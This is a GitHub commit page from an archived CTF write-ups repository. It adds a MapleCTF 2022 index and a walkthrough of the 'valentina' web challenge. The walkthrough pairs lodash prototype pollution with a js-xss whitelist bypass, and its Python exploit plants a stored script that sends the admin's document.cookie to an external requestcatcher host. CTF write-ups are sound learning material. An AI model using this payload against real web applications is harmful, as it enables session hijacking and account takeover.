Skip to content
This repository was archived by the owner on Jun 7, 2025. It is now read-only.

Commit db46695

Browse files
committed
start maplectf2022
1 parent 56bbc3e commit db46695

File tree

5 files changed

+118
-0
lines changed

5 files changed

+118
-0
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# vscode config
2+
.vscode/

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,3 +5,4 @@ A collection of my CTF writeups.
55
## 2022
66

77
* [CyberSci Regionals 2022](cybersci2022/README.md)
8+
* [MapleCTF 2022](maplectf2022/README.md)

maplectf2022/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# MapleCTF 2022
2+
3+
[ctf.maplebacon.org/](https://ctf.maplebacon.org/scoreboard)
4+
5+
## pwn
6+
* [wetuwn addwess](TODO)
7+
8+
## misc
9+
* [pyjail](TODO)
10+
* [decode/encode me](TODO)
11+
12+
## web
13+
* [valentina](./valentina/README.md)

maplectf2022/valentina/README.md

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
# valentina
2+
3+
Valentina contained 2 challenges sharing a vulnerability but with different applications.
4+
5+
## Challenge 1
6+
7+
```
8+
TODO: Ask Vie for challenge desc
9+
Summary: Valentina checks her reviews occasionally with secrets in her cookies.
10+
```
11+
12+
## Walkthrough 1
13+
14+
Given that this project was deep into npm dependency hell the first obvious step was to check if any libraries had vulnerabilies.
15+
16+
```
17+
$ npm audit
18+
...
19+
lodash <=4.17.20
20+
Severity: critical
21+
Command Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
22+
Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gw
23+
Prototype Pollution in lodash - https://github.com/advisories/GHSA-jf85-cpcp-j695
24+
Prototype pollution in lodash - https://github.com/advisories/GHSA-x5rq-j2xg-h7qm
25+
Prototype Pollution in lodash - https://github.com/advisories/GHSA-fvqr-27wr-82fm
26+
...
27+
```
28+
29+
Digging into these vulnerabilties and the source code unveiled that [CVE-2018-3721](https://snyk.io/test/npm/lodash/4.17.4#npm:lodash:20180130), a [prototype pollution](https://www.whitesourcesoftware.com/resources/blog/prototype-pollution-vulnerabilities/) vulnerability, was likely the target.
30+
31+
> The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of Object via __proto__ causing the addition or modification of an existing property that will exist on all objects.
32+
33+
```js
34+
app.post('/add_review', function (req, res) {
35+
// ...
36+
let review_template = {
37+
review_id: id,
38+
name: "Valentina",
39+
message: "your work is amazing!",
40+
stars: 5
41+
}
42+
43+
let new_review = req.body;
44+
_.merge(review_template, new_review); // <-- this looks vulnerable!
45+
let cleaned_msg = xss(new_review.message);
46+
reviews.set(id, cleaned_msg);
47+
// ...
48+
});
49+
```
50+
51+
Now that I had a way to pollute arbitrary objects, I just needed to find a way to bypass `xss()`, an html escaping function in [xssjs](https://github.com/leizongmin/js-xss).
52+
53+
```js
54+
FilterXSS.prototype.process = function (html) {
55+
// ...
56+
var options = me.options; // not set in valentina
57+
var whiteList = options.whiteList; // looks like we can control this
58+
// ...
59+
```
60+
61+
Reading the source code revealed that we could control the `whiteList` variable which controlled which tags were escaped.
62+
63+
```json
64+
// getDefaultWhiteList()
65+
{
66+
a: ["target", "href", "title"],
67+
abbr: ["title"],
68+
address: [],
69+
// ...
70+
}
71+
```
72+
73+
To retreieve the cookies I addded the `script` tag to the whitelist and than had the admin visit the review.
74+
75+
```py
76+
import requests
77+
78+
url = "http://localhost:8999/add_review"
79+
payload = "fetch('https://crimist.requestcatcher.com/'+document.cookie)"
80+
review = requests.post(url, headers={'content-type': 'application/json'},
81+
data='{"__proto__": {"whiteList": {"script": []}}, "message": "<script>' + payload + '</script>"}')
82+
id = review.text.split(":")[1]
83+
print("http://localhost:8999/view_review?review_id=" + id)
84+
```
85+
86+
## Solve 1
87+
88+
`maple{l0d4sh_more_lyk_n0da5h_haha_get_it}`
89+
90+
## Challenge 2
91+
92+
```
93+
TODO: Ask Vie for challenge desc
94+
```
95+
96+
## Walkthrough 2
97+
98+
TODO
99+
100+
## Solve 2
101+
102+
TODO

maplectf2022/valentina/Val2_dist.zip

41.6 KB
Binary file not shown.

0 commit comments

Comments
 (0)